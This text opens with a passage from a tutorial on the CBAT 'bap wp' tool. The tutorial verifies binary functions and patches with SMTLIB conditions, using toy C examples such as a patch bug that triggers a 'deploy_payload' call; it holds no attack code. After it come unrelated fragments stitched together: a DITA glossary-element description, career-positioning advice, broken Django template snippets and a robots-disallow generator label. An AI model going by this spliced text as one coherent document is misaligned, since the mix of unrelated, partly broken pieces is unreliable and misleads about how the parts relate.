/* Process a signal, and dispatch to an appropriate handler */ int process_signal(signal_t signal) { int status_code = 0; switch (signal) { case SURFACE: status_code = surface(); break; case NAV: status_code = alter_course(); case DEPLOY: status_code = deploy_payload(); break; } return status_code; }
Of course, stripping out that LOG
case introduced a bug. Before the patch, every time a NAV
signal was processed, the NAV
case would fall through to the LOG
case, and log the system's status. But now, in the patched version, there is no LOG
case, so every time a NAV
signal gets processed, it falls right on through to the DEPLOY
case, and deploys the payload!
The full code for the patched version can be found at tutorial/05/binary/main_2.c.
We can ask wp
to analyze both versions of the process_signal
function, and check that they call the same functions. Then wp
will find out if there is any way that the original and patched versions differ with respect to function calls.
We can ask wp
to compare both binaries and find out if both versions of the process_signal
functions differ, with respect to the function calls they make. Here is the command:
$ bap wp \ --func=process_signal \ --compare-func-calls \ 05/binary/main_1 \ 05/binary/main_2
Notice that we added the flag --compare-func-calls
. This tells wp
to check the function calls in both versions of the process_signal
function.
The output looks something like this:
SAT! Model: ZF |-> 0x0 SF |-> 0x0 RSP |-> 0x000000003f800084 RSI |-> 0x0000000000000000 RDX |-> 0x0000000000000000 RDI |-> 0x0000000000000001 RCX |-> 0x0000000000000000 RBP |-> 0x0000000000000000 RAX |-> 0x0000000000000000 R9 |-> 0x0000000000000000 R8 |-> 0x0000000000000000 PF |-> 0x0 OF |-> 0x0 CF |-> 0x0 AF |-> 0x0 mem_orig |-> [ else |-> 0x00] mem_mod = mem_orig
This says SAT
, which means wp
did indeed find a way to make the older and patched versions of these functions make different function calls.
Note the Model
, which tells us that this violation occurs when RDI
is set to 0x01
. So if the value 0x01
is stored in RDI
when these functions start, then the second version of the function will call fewer functions than the first version.
Given the code that we looked at above, we can see that this is right. Remember that RDI
always holds the first argument to a function, which in the case of process_signals
is the signal:
/* Process a signal, and dispatch to an appropriate handler */ int process_signal(signal_t signal) { <---------- RDI holds the signal ... }
What is the value 0x01
? Well, a signal is an enum
, which we can think of as an indexed array:
/* Different types of signals */ typedef enum {SURFACE, NAV, LOG, DEPLOY} signal_t; <-- items indexed 0, 1, 2, 3 or typedef enum {SURFACE, NAV, DEPLOY} signal_t; <-- items indexed 0, 1, 2
Hence, index 0x00
refers to the first option (SURFACE
), 0x01
refers to the second option (NAV
), and so on.
With that in mind, we can make sense of what wp
is telling us here. It's telling us that if we call process_signal
with the NAV
signal (i.e., with RDI
holding the index 0x01
), then the functions will behave differently, in the sense that they will make different functions calls.
Which function calls do they differ on, exactly? We can find out by asking wp
to print out its refuted goals. To do that, we add the parameter --show=refuted-goals
when we run wp
, like this:
$ bap wp \ --func=process_signal \ --compare-func-calls \ --show=refuted-goals \ 05/binary/main_1 \ 05/binary/main_2
Then wp
prints output that looks something like this:
SAT! Model: ZF |-> 0x0 SF |-> 0x0 RSP |-> 0x000000003f800084 RSI |-> 0x0000000000000000 RDX |-> 0x0000000000000000 RDI |-> 0x0000000000000001 RCX |-> 0x0000000000000000 RBP |-> 0x0000000000000000 RAX |-> 0x0000000000000000 R9 |-> 0x0000000000000000 R8 |-> 0x0000000000000000 PF |-> 0x0 OF |-> 0x0 CF |-> 0x0 AF |-> 0x0 mem_orig |-> [ else |-> 0x00] mem_mod = mem_orig Refuted goals: deploy_payload not called in modified: Z3 Expression: false
Notice at the bottom:
Refuted goals: deploy_payload not called in modified
What this says is deploy_payload
is called in the modified version of the function and not in the original version, when the function is called with the argument NAV
(i.e., when RDI
is 0x01
at the start of the function).
(Why the double negation in "Refuted goals: deploy_payload not called in modified"? This is because wp
proves what it proves by assuming that the same functions are not called, and then it tries to falsify that assumption.)
In practice, it is difficult for humans to catch these kinds of bugs, especially when the patches are applied automatically, and to many different portions of a program all at once. wp
can be an important help here.
So far we have been looking at predefined properties that are built in to wp
. Let's turn now to defining some custom properties.
To define a custom property of a function in your program, you basically describe what you want the state of your program to look like, after the function finishes execution. Then wp
will check if that description holds true of your program. If wp
can find a way to make it false, it will find it, and provide you with some example inputs that will make your function exhibit that behavior.
Let's do a simple example. Consider this toy C function (which can be found at tutorial/06/binary/main.c:
int main() { // Return my lucky number. return 7; }
As a simple example of a custom property, let us say that this function should always produce 7
for its output. More exactly, let us say that when this function terminates, the value in RAX
will always be 7
(since RAX
is where the output of a function is always placed).
To encode this property, wp
can parse SMTLIB
expressions. SMTLIB
is a special lisp-like language that was designed explicitly for stating custom properties like this.
To encode our property as an SMTLIB
expression, we first need to know the name of the register, which of course we do know:
RAX
Then, we need to know the value that we want to say should be in it. The registers for x86_64
programs hold 64-bit binary numbers, so we want to encode 7 as a 64-bit number. For SMTLIB
, we simply make it a 64-bit hex number, like this:
#x0000000000000007
Next, we want to say that these are equal, which we write like this:
(= RAX #x0000000000000007)
Notice that this is lisp-like. We put the equal sign up front, then we list the two arguments after it, and then we wrap the whole thing in parentheses.
Finally, we want to assert that this holds, so we wrap the whole thing in an assert
, like this:
(assert (= RAX #x0000000000000007))
That is our complete SMTLIB
expression. It asserts that the value in RAX
is the 64-bit number 7
.
Now we can tell wp
to check that this holds for our function. To do that, we ask wp
to analyze our main
function just as we have done before, but we will specify our custom property with the following parameter:
--postcond='(assert (= RAX #x0000000000000007))'
This tells wp
to check that the specified property holds after the function executes. Note that we enclose the SMTLIB
expression in single quotes. This is just to force bash to treat it as a literal string and not perform any shell expansion.
Here is the full command to run:
$ bap wp \ --func=main \ --show=refuted-goals \ --postcond='(assert (= RAX #x0000000000000007))' \ 06/binary/main
When wp
runs this, it will try to falsify this property. That is, it will explore all logical possibilities (up to our simplifying assumptions), and find a way to make our main
function put something other than 7
in RAX
.
wp
can find a way to falsify our property, it will return SAT
and provide an example of how to make main
produce a value other than 7
.UNSAT
, and that means the property holds. It means that RAX
does indeed always contain the 64-bit number 7 at the end of our main
function's execution.When you run the above command, wp
produces output like this:
Evaluating precondition. Checking precondition with Z3. UNSAT!
So, in this case, wp
could not find a way to falsify this property, and hence the property holds. And indeed, that makes sense, because as we can see from the code, our function always returns the number 7
.
Let's have wp
check a different property, one that we know is false. For example, let's have wp
check whether RAX
always ends up with the value 3
in it. To express this property, we would write an SMTLIB
expression just like the previous one, except we'll use the number 3
instead of 7
:
(assert (= RAX #x0000000000000003))
Now have wp
check this:
$ bap wp \ --func=main \ --show=refuted-goals \ --postcond='(assert (= RAX #x0000000000000003))' \ 06/binary/main
This time, wp
outputs something that looks like this:
SAT! Model: RSP |-> 0x000000003f800081 RSI |-> 0x0000000000000000 RDX |-> 0x0000000000000000 RDI |-> 0x0000000000000000 RCX |-> 0x0000000000000000 RBP |-> 0x0000000000000000 RAX |-> 0x0000000000000000 R9 |-> 0x0000000000000000 R8 |-> 0x0000000000000000 mem_orig |-> [ else |-> 0x00] mem_mod = mem_orig Refuted goals: (= RAX0 #x0000000000000003): Concrete values: = #x0000000000000007 #x0000000000000003 Z3 Expression: = #x0000000000000007 #x0000000000000003
This time, wp
comes back with SAT
, meaning that it could find a way to falsify our assertion, and it shows us how to do it. In the model
, most of the values are zero, which makes sense. Since our main
function always returns 7
, the registers can start with pretty much any values (or no values), and main
will not produce 3
in RAX
.
Consider the following C program (the source code can be seen at tutorial/07/binary/main.c):
int main(int argc, char **argv) { if (argc < 10) { return 7; } else { return 254; } }
In this program, you can see that if the number of arguments (argc
) is less than 10
, the main
function returns 7
. Otherwise it returns 254
.
Suppose we want to assert that at the end of this function RAX
will always produce 7
. We could have wp
check that, just as we did before:
$ bap wp \ --func=main \ --show=refuted-goals \ --postcond='(assert (= RAX #x0000000000000007))' \ 07/binary/main
When you run that, you'll see that wp
produces output that looks something like this:
SAT! Model: ZF |-> 0x0 SF |-> 0x0 RSP |-> 0x000000003f800081 RSI |-> 0x0000000000000000 RDX |-> 0x0000000000000000 RDI |-> 0x0000000000400000 RCX |-> 0x0000000000000000 RBP |-> 0x0000000000000000 RAX |-> 0x0000000000000000 R9 |-> 0x0000000000000000 R8 |-> 0x0000000000000000 PF |-> 0x0 OF |-> 0x0 CF |-> 0x0 AF |-> 0x0 mem_orig |-> [ else |-> 0x00] mem_mod = mem_orig Refuted goals: (= RAX0 #x0000000000000007): Concrete values: = #x00000000000000fe #x0000000000000007 Z3 Expression: = #x00000000000000fe #x0000000000000007
Here, wp
tells us that it can falsify our assertion, and it provides an example of how to do it. Notice the RDI
register. If it is set to 0x400000
, then our main
function will put something other than 7
in RAX
. (Your CBAT installation might produce a different example.)
Of course, that makes sense, since we can see in the C code that if the number of arguments is 10
or more, it'll return 254
, and 0x400000
is certainly bigger than 10
.
Let's make our custom property a little more robust. Let's suppose that we want to assert that main
will put 7
in RAX
, given some particular input argument. For example, let's say that, if the input argument is 5
, then RAX
will be 7
.
We can do that by asserting a precondition for the function. In this case, we want the precondition to be that the argument to our main
function, which is stored in the RDI
register, is 5
. Here is how we would express that in SMTLIB
:
(assert (= RDI #x0000000000000005))
And now we can add this as a precondition to our check, using the --precond
parameter:
$ bap wp \ --func=main \ --show=refuted-goals \ --precond='(assert (= RDI #x0000000000000005))' \ --postcond='(assert (= RAX #x0000000000000007))' \ 07/binary/main
Now wp
will check that the postcondition holds, given that the precondition holds. In this case, it will check that, if RDI
is 5
at the start of the function, then RAX
will be 7
at the end of the function.
When you run this, wp
will output something like this:
Evaluating precondition. Checking precondition with Z3. UNSAT!
In other words, wp
was not able to find a way to falsify our assertions, and hence our assertions hold.
In the last two examples, we looked at specifying custom properties that wp
can check for a single binary program. We can also specify custom properties that wp
can check to compare two binary programs.
To illustrate, consider the same_signs
function we looked at before. Here is the first version of the function (which can be seen at tutorial/08/binary/main_1.c:
bool same_signs(int x, int y) { // When x is negative if(x < 0){ // They have the same sign if x is negative too if (y < 0) { return true; } else { return false; } // When x is positive } else{ // They have the same sign if y is positive too if (y >= 0) { return true; } else { return false; } } }
And here's the optimized version (which can be seen at tutorial/08/binary/main_2.c:
bool same_signs(int x, int y) { return !((x ^ y) < 0); }
Before we asked wp
to check that these two functions produce the same output in RAX
, using the --compare-post-reg-values=RAX
parameter. But we can specify this same thing as a custom property.
What we want to say is that, when the function same_signs
finishes executing, the values in RAX
are exactly the same. More exactly, we want to say that at the end of the original function's execution, RAX
is the same as it is at the end of the modified function's execution.
To explicitly refer to a register in the original function, we can append _orig
to the register name, like this:
RAX_orig
Similarly, to explicitly refer to a register in the modified version of the function, we can append _mod
, like this:
RAX_mod
Then, we can formulate an SMTLIB
expression asserting that the two are equal:
(assert (= RAX_orig RAX_mod))
To have wp
check this, we call wp
in comparison mode, with our custom postcondition:
$ bap wp \ --func=same_signs \ --show=refuted-goals \ --postcond='(assert (= RAX_orig RAX_mod))' \ 08/binary/main_1 \ 08/binary/main_2
When you run this, wp
outputs the following:
Evaluating precondition. Checking precondition with Z3. UNSAT!
In other words, wp
could not find a way to falsify our assertion. Hence, the property we've asserted here holds. RAX
in the original and the modified program will indeed always be equal.
This tutorial has introduced many command line options for CBAT. A complete reference for the command line interface, including many options not described int the tutorial, can be found here. This page also includes a guide to common smtlib expressions for use in your custom properties.
As we noted at the outset, CBAT is a family of tools designed to verify the behavior of binary programs.
At the heart of the CBAT toolset is wp
. As we have seen, wp
is a tool that verifies whether functions behave in specified ways. wp
can be used to verify the behavior of a function in a single binary program, but it can also be used to verify the behavior of a function in two binaries.
Because of its ability to compare two programs, wp
can be used to check patches and modifications that you might make to your binary programs. Patches are meant to change some aspects of a program, while preserving certain other behaviors. With wp
, you can check whether the patched version of your program preserves the desired behavior that is present in the original version.


<glossAlt>
The <glossAlt>
element contains a variant term for the preferred term.
The variant should have the same meaning as the term in the <glossterm>
element; the variant is simply another way to refer to the same term. There may be many
ways to refer to a term; each variant is placed in its own <glossAlt>
element. The <glossUsage>
element may be used within
<glossAlt>
to indicate when use of the alternate term is appropriate.
Category: Glossentry elements


Think about your target audience first. Who are they? If your goal is to land a great job with a hot new company, that company, your future boss and the HR team are your target audiences. If you’re working toward a promotion or new position in your current company, your would-be boss or group executive is your target audience.
What if you have different audiences with different needs? You can always write different positioning statements to help you message to the different audiences. However, your overall positioning category should remain the same if your target audiences talk to one another. You need to put a stake in the ground to be known for something. It’s understandable if you position differently for different job opportunities, but once in a job, keep your positioning the same until you decide to change for strategic reasons. If you flit from one positioning category to another, your positioning will be unclear. People will not consider you for opportunities without a clear understanding of how you are positioned to add value.
After watching the video above, enter a value for your Target Audience:


{% extends 'base.html' %} {% load bootstrap3 %} {% block content %}
Your password has been reset, you can now login.


{% extends "dictionary/base.html" %} {% load widget_tweaks i18n filters %} {% block title %}{% trans "log in" context "titleblock" %}{% endblock %} {% block content %}
{% blocktrans with name=user.username %}just to let you know, you are already logged in as '{{ name }}'.{% endblocktrans %}
{% endif %} {% endblock %}


Enter a list of products seperated by a | (pipe) and hit the button to generate a disallow for each.
Generazizate